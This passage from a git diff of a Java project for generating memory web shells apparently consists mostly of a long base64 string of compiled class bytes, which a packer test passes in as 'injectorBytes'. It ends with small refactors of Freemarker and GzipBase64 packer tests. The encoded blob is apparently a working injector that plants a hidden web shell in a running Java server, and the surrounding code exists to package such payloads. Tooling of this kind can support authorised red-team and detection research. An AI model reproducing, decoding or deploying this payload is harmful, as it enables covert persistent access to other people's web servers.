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"); - GenerateResult generateResult = GenerateResult.builder() + MemShellResult generateResult = MemShellResult.builder() .injectorBytes(bytes1).build(); String pack = packer.pack(generateResult.toClassPackerConfig()); System.out.println(pack); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java index 27fe33c6..6b262c4d 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; import org.junit.jupiter.api.Test; @@ -15,7 +15,7 @@ class FreemarkerPackerTest { @Test void test() { - GenerateResult generateResult = GenerateResult.builder() + MemShellResult generateResult = MemShellResult.builder() .injectorClassName("hehe") .injectorBytesBase64Str("hehe").build(); String content = new String(packer.pack(generateResult.toClassPackerConfig())); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java index 3800901b..ce8650a7 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java @@ -1,12 +1,17 @@ package com.reajason.javaweb.memshell.packer; -import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.packer.base64.GzipBase64Packer; import lombok.SneakyThrows; import org.junit.jupiter.api.Test; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.nio.file.Files; +import java.nio.file.Paths; import java.util.Base64; +import java.util.zip.GZIPInputStream; import static 